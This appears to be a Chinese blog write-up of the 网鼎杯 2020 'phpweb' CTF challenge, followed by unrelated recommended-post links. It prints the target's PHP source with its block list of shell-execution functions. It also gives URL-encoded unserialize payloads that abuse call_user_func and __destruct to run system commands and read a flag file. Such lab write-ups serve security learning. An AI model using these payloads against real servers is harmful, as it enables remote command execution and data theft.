[网鼎杯 2020 朱雀组]phpweb

Warning : date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24

2025-07-09 05:06:31 am

不太明白timezone是什么。 查了一下原来是时区设置,现在使用的是默认时区UTC,与当前时间不符。可以通过修改配置文件中的data.timezone或者调用date_default_timezone_set()函数设置时区。

另外网页还会自动刷新,但是我仍不知道解题思路,找找有没有其他线索...

通过抓包看到有POST传参:

func=date&p=Y-m-d+h%3Ai%3As+a

func应该是指调用的函数吧,p应该是指参数,作用是获得当前时间,确实页面响应中有时间。

难道是利用这个修改时区,尝试一下修改参数:

func=date_default_timezone_set&p='Asia/Shanghai'

页面不再出现报错,说明函数执行成功了。

那如何利用该漏洞拿到flag呢?

func=scandir&p='.'

返回警告scandir('.'): failed to open dir: No such file or directory in /var/www/html/index.php

func=scandir&p='../'

func=scandir&p='DIR'

func=file_get_contents&p='index.php'

仍然是相同报错。直接看答案吧...

我天!居然是func=file_get_contents&p=index.php,参数不加引号!对啊本来func=date&p=Y-m-d+h%3Ai%3As+a就没用引号。func=date_default_timezone_set&p='Asia/Shanghai'成功运行又是为什么呢?func=scandir&p=.没有返回结果(看了源码就会知道因为该函数返回数组,源码限制只输出字符串类型返回值)

php 复制代码
   $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

审计源码可以看到反序列化漏洞,class Test中有魔术方法__destruct,并且变量func和p的值没有过滤。思路就是传入的参数fun为unserials,p为序列字符串。

试试看p->fun=eval&p->p=_POST[0]:

O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A8%3A%22_POST%5B0%5D%22%3Bs%3A4%3A%22func%22%3Bs%3A4%3A%22eval%22%3B%7D

出现报错: call_user_func() expects parameter 1 to be a valid callback, function 'eval' not found or

invalid function name in <b>/var/www/html/index.php。

查阅资料后才知道在PHP 里eval()是一个语言结构,并非普通函数,所以不能把字符串 'eval' 作为回调函数名直接传给 call_user_func(),可以考虑将其封装成function($code) {

eval($code);

}

但是仍然报错。那用system呢?

p->fun=system&p->p=_POST[0]

func=unserialize

&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A8%3A%22_POST%5B0%5D%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

&0=ls/

没有任何输出。应该是语法错误。问题在于'$_POST[0]'会直接作为字符串传给system当作系统命令执行,并不会接受POST传参。

所以只能麻烦一点,用反序列字符串作为中间过渡进行命令执行。

执行system['ls']的输出是 bg.jpg index.php index.php 因为该命令显示当前目录中的文件。

执行system['ls /'] 查看根目录,但是并未找到flag字样。

执行system['find / -name"*flag*"']

/proc/sys/kernel/acpi_video_flags

/proc/sys/net/ipv4/fib_notify_on_flag_change

/proc/sys/net/ipv6/fib_notify_on_flag_change

/proc/kpageflags

/tmp/flagoefiu4r93

/sys/devices/pnp0/00:04/tty/ttyS0/flags

/sys/devices/platform/serial8250/tty/ttyS15/flags

...........................................

/sys/devices/platform/serial8250/tty/ttyS25/flags

/sys/devices/virtual/net/eth0/flags

/sys/devices/virtual/net/lo/flags

/sys/module/scsi_mod/parameters/default_dev_flags

/usr/lib/x86_64-linux-gnu/perl/5.20.2/bits/waitflags.ph

/usr/include/x86_64-linux-gnu/asm/processor-flags.h

/usr/include/x86_64-linux-gnu/bits/waitflags.h

/usr/include/linux/kernel-page-flags.h

/usr/include/linux/tty_flags.h

/usr/include/linux/tty_flags.h

出现贼多,不过以我对linux文件目录命名规则浅薄的理解,flag大概率在tmp中

执行system['cat /tmp/flagoefiu4r93'] 嘿嘿拿到了。

相关推荐
OEC小胖胖9 小时前
页面间的导航:`<Link>` 组件和 `useRouter`
前端·前端框架·web·next.js
练习时长两年半的Java练习生(升级中)1 天前
从0开始学习Java+AI知识点总结-30.前端web开发(JS+Vue+Ajax)
前端·javascript·vue.js·学习·web
科技树支点2 天前
无GC的Java创新设计思路:作用域引用式自动内存管理
java·python·go·web·编程语言·编译器
Bruce_Liuxiaowei3 天前
基于BeEF的XSS钓鱼攻击与浏览器劫持实验
前端·网络安全·ctf·xss
OEC小胖胖3 天前
React学习之路永无止境:下一步,去向何方?
前端·javascript·学习·react.js·前端框架·react·web
OEC小胖胖3 天前
给你的应用穿上“外衣”:React中的CSS方案对比与实践
前端·前端框架·react·web
小小小CTFER3 天前
NSSCTF每日一题_Web_[SWPUCTF 2022 新生赛]奇妙的MD5
ctf
OEC小胖胖4 天前
代码质量保障:使用Jest和React Testing Library进行单元测试
前端·react.js·单元测试·前端框架·web
爱隐身的官人5 天前
Web知识的总结
web安全·ctf
AI@独行侠5 天前
01 - 网页和web标准
前端·web